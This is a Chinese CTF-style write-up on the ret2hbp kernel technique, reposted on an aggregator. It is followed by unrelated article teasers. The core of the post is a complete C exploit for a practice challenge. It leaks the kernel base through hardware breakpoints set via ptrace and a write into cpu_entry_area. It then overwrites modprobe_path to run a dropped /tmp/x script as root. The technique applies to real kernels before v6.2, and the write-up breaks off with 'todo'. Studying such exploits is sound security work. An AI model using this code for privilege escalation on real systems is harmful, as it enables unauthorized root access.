【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg

news2024/11/24 13:41:10

前言

ret2hbp 主要是利用在内核版本 v6.2.0 之前,cpu_entry_area mapping 区域没有参与随机化的利用。其主要针对的场景如下:

1)存在任意地址读,泄漏内核地址

2)存在无数次任意地址写,泄漏内核地址并提权

这里仅仅记录题目,具体原理请读者自行查阅资料,这里给一些参考链接:

一种借助硬件断点的提权思路分析与演示 板子题也是这个大佬写的

https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html

板子题

保护:smep、smap、kalsr、pti都开了

漏洞如下:无数次任意地址写8字节

exp 如下:这里在泄漏完kernel_offset后直接利用任意写打modprobe_path,这里取巧了

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <poll.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#define DF_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x12340000
#define MMAP_SIZE 0x2000
int fd;
int pipe_fd[2];

struct arg { uint64_t addr; uint64_t val };

void arb_write(uint64_t addr, uint64_t val)
{
        struct arg arg = { .addr = addr, .val = val };
        ioctl(fd, 0, &arg);
}

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(0), addr))
                err_exit("ptrace PTRACE_POKEUSER for dr0 in set_hbp");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(7), dr7))
                err_exit("ptrace PTRACE_POKEUSER for dr7 in set_hbp");
}

void do_trigger_hbp()
{
        bind_core(0);
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
                err_exit("ptrace PTRACE_TRACEME in do trigger hbp");

        struct utsname* uts = (struct utsname*)MMAP_ADDR;
        int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);

        while (1)
        {
                raise(SIGSTOP);
                uname(uts);
                if (((uint64_t*)uts)[oob_idx])
                {
                        puts("[+] OOB Read Stack Data Successfully");
                        write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

}

void do_change_cx()
{
        bind_core(1);
        puts("[+] write cpu_entry_area DB_STACK -> rcx");
        while (1)
        {
                arb_write(CPU_ENTRY_AREA_DB_STACK_RCX_ADDR, 0x400/8);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        fd = open("/dev/vuln", O_RDONLY);
        if (fd < 0) err_exit("open dev file");

        if (mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0) == MAP_FAILED)
                err_exit("mmap MMAP_ADDR");

        pipe(pipe_fd);
        pid_t pid1, pid2;
        puts("[+] fork a process to trigger hbp");
        pid1 = fork();
        if (!pid1)
        {
                do_trigger_hbp();
                exit(0);
        } else if (pid1 < 0) {
                err_exit("fork a trigger hbp process");
        } else {
                waitpid(pid1, NULL, NULL);
        }

        pid2 = fork();
        if (!pid2)
        {
                do_change_cx();
                exit(0);
        } else if (pid2 < 0) {
                err_exit("fork a trigger hbp process");
        }

        set_hbp(pid1, MMAP_ADDR);
        struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
        while (1)
        {
                if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
                        err_exit("ptrace PTRACE_CONT");
                waitpid(pid1, NULL, NULL);

                int res = poll(&fds, 1, 0);
                if (res > 0 && (fds.revents & POLLIN))
                {
                        read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

        binary_dump("OOB READ STACK DTA", MMAP_ADDR+sizeof(struct utsname), 0x100);
        uint64_t* leak_data = MMAP_ADDR+sizeof(struct utsname);
        uint64_t kbase = leak_data[4] - 0xe0b32;
        uint64_t modprobe_path = kbase + 0x1e8b920;
        hexx("kbase", kbase);
        hexx("modprobe_path", modprobe_path);

        char cmd[8] = "/tmp/x";
        arb_write(modprobe_path, *(uint64_t*)cmd);
        get_flag();
        puts("[+] EXP NEVER END!");
        return 0;
}

效果如下: 

但是在大佬 blog 中是直接可以提权的,所以这里尝试提权,这里其实想法挺多了,因为漏洞的品相比较好,所以可以直接考虑修改 ip / rsp,但是这里还是参考原文中的做法,因为 srcrpg 这题是固定地址的任意次1字节写。

todo 后面补 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1307637.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux下网络通信及socket编程

文章目录 网络通信socket应用编程函数介绍IP地址转换函数程序源代码程序执行结果 网络通信 网络通信本质上是一种进程间通信&#xff0c;是位于网络中不同主机上的进程之间的通信。网络通信大致分为以下三层。 在硬件层&#xff0c;两台主机都提供了网卡设备&#xff0c;满足…

ADC学习总结

ADC的架构分类&#xff1a; 1、Delta-Sigma 采样率一般是在1M以内&#xff0c;位数一般可以做的很高&#xff0c;比如24位&#xff0c;Delta-Sigma ADC采用了过采样技术&#xff0c;不需要在模拟输入端加抗混叠滤波&#xff0c;由后端数字滤波器进行处理&#xff0c;通过信噪…

DDD领域驱动架构设计学习网站和开源框架

文章目录 介绍1、国外Axon2、阿里Cola 介绍 近年来&#xff0c;关于DDD的讨论越来越多&#xff0c;关于网上的文章很多都是理论上的介绍&#xff0c;由于自己最近也在学习相关知识&#xff0c;所以分享几个关于DDD落地的开源框架。 1、国外Axon Axon是国外一款比较系统的DDD…

Re59:读论文 Retrieval-Augmented Generation for Knowledge-Intensive NLP Tasks

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文名称&#xff1a;Retrieval-Augmented Generation for Knowledge-Intensive NLP Tasks 模型开源地址&#xff1a;https://huggingface.co/facebook/rag-token-nq ArXiv下载地址&#xff1a;https://arxi…

高校刮起元宇宙风!3DCAT实时云渲染助力川轻化元校园建设

元宇宙&#xff0c;是一个虚拟的网络世界&#xff0c;它与现实世界相互连接&#xff0c;为人们提供了一个身临其境的数字体验。元宇宙的概念并不新鲜&#xff0c;早在上个世纪就有科幻作家和电影导演对它进行了想象和创造。但是&#xff0c;随着科技的发展&#xff0c;特别是5G…

iic应用篇

一.iic的优点 1. IIC总线物理链路简单&#xff0c;硬件实现方便&#xff0c;扩展性非常好&#xff08;1个主机控制器可以根据需求增加从机数量&#xff0c;同时删减从机数量也不会影响总线通信&#xff09;&#xff1b;IIC总线只需要SDA和SCL两条信号线&#xff0c;相比于PCI/…

python和pygame实现烟花特效

python和pygame实现烟花特效 新年来临之际&#xff0c;来一个欢庆新年烟花祝贺&#xff0c;需要安装使用第三方库pygame&#xff0c;关于Python中pygame游戏模块的安装使用可见 https://blog.csdn.net/cnds123/article/details/119514520 效果图及源码 先看效果图&#xff1a…

c#异常强大的统计运行时间功能,一行代码,监控 C# 方法执行耗时

MethodTimer.Fody MethodTimer.Fody 是一个功能强大的库&#xff0c;可以用于测量 .NET 应用程序中的方法的执行时间。 它使用 Fody 插件框架可以无缝集成到您的项目中&#xff0c;所以向代码中添加性能测量功能变得非常容易。 如何使用 首先&#xff0c;需要安装 Nuget 包&am…

程序员必备的十种排序算法

欢迎关注博主 Mindtechnist 或加入【智能科技社区】一起学习和分享Linux、C、C、Python、Matlab&#xff0c;机器人运动控制、多机器人协作&#xff0c;智能优化算法&#xff0c;滤波估计、多传感器信息融合&#xff0c;机器学习&#xff0c;人工智能等相关领域的知识和技术。关…

MS913/914 25-100MHz 10/12 位用于平面显示器链路Ⅲ的具有直流平衡编码和双向控制通道的串化器和解串器

MS913/MS914 芯片组是 25MHz~100MHz 10 位/12 位 FPD Link III SER/DES(串化器/解串器)&#xff0c;它提供高速 FPD-Link III 接口和高速正向通路以及用于差分对上数据发送的双向 控制通路。广泛应用于车载摄像&#xff0c;医疗设备&#xff0c;管道探测等领 域。 主要特点…

改进的A*算法的路径规划(2)

子节点优化选择策略 (1)子节点选择方式 为了找到从起始点到终点的路径&#xff0c;需定义一种可以选择后续节点的方式。在 A*算法中两种常见的方法为4-邻接(见图5-7(a) 和8-邻接(见图5-7(b)), 但考虑到 在复杂越野环境上&#xff0c;我们希望智能车辆允许更多的自由运动来更…

20231210原始编译NanoPC-T4(RK3399)开发板的Android10的SDK

20231210原始编译NanoPC-T4(RK3399)开发板的Android10的SDK 2023/12/10 17:27 rootrootrootroot-X99-Turbo:~$ rootrootrootroot-X99-Turbo:~$ mkdir nanopc-t4 rootrootrootroot-X99-Turbo:~$ rootrootrootroot-X99-Turbo:~$ rootrootrootroot-X99-Turbo:~$ cd nanopc-t4/ …

企业U盘防泄密的必备秘籍!迅软DSE答疑解析一切你需要知道的!

关于U盘防泄密&#xff1a; U盘是企事业单位办公时经常需要用到的存储介质&#xff0c;而一旦U盘不慎丢失或是落入他人手中&#xff0c;都会面临U盘内数据泄密的情况发生。 因此&#xff0c;企事业单位可通过天锐绿盾安全U盘系统对公司重要数据进行U盘防泄密保护&#xff0c;确…

二分查找|双指针:LeetCode:2398.预算内的最多机器人数目

作者推荐 【动态规划】【广度优先】LeetCode2258:逃离火灾 本文涉及的基础知识点 二分查找算法合集 滑动窗口 单调队列&#xff1a;计算最大值时&#xff0c;如果前面的数小&#xff0c;则必定被淘汰&#xff0c;前面的数早出队。 题目 你有 n 个机器人&#xff0c;给你两…

【CANoe】CANoe手动发送XCP报文读取观测量

文章目录 1、硬件连接&#xff1a;配置CANoe的CAN端口&#xff0c;连接到ECU标定对应的CAN口2、配置CAN IG模块报文&#xff1a;连接XCP&#xff0c;读取观测量&#xff0c;断开XCP3、报文解析4、参考资料 1、硬件连接&#xff1a;配置CANoe的CAN端口&#xff0c;连接到ECU标定…

LeetCode:1631. 最小体力消耗路径(SPFA Java)

目录 1631. 最小体力消耗路径 题目描述&#xff1a; 实现代码与解析&#xff1a; BFSDP 原理思路&#xff1a; 1631. 最小体力消耗路径 题目描述&#xff1a; 你准备参加一场远足活动。给你一个二维 rows x columns 的地图 heights &#xff0c;其中 heights[row][col] 表…

掌握Selenium中元素缓存技巧,提高测试效率!

一、前言 / INTRODUCTION 本篇文章我们再来看下如何在Selenium中使用缓存 页面对象模型是UI自动化测试中的一种很好的设计模式&#xff0c;我们使用FindBy和FindAll注释来标记Page Object中的WebElement。 本次要讲的CacheLookup是一个非常重要但被忽视的注释&#xff0c;它可…

【UE5.2】通过Water插件使物体漂浮在水面上

效果 步骤 1. 新建一个工程&#xff0c;创建一个Basic关卡&#xff0c;添加初学者内容包到内容浏览器 2. 在插件中启用“Water”插件&#xff0c;然后重启工程 3. 重启后提示“碰撞描述文件设置不包括水体碰撞描述文件的条目&#xff0c;水碰撞必须使用该描述文件才能正常工作…

Node后端框架Express与Koa接口统一响应封装

背景 以前在写 SpringBoot 全栈开发的系列文章中全栈开发之后端脚手架&#xff1a;SpringBoot集成MybatisPlus代码生成&#xff0c;分页&#xff0c;雪花算法&#xff0c;统一响应&#xff0c;异常拦截&#xff0c;Swagger3接口文档&#xff0c;有提到对后端接口的响应数据进行…

flink找不到隐式项

增加 import org.apache.flink.streaming.api.scala._ 即可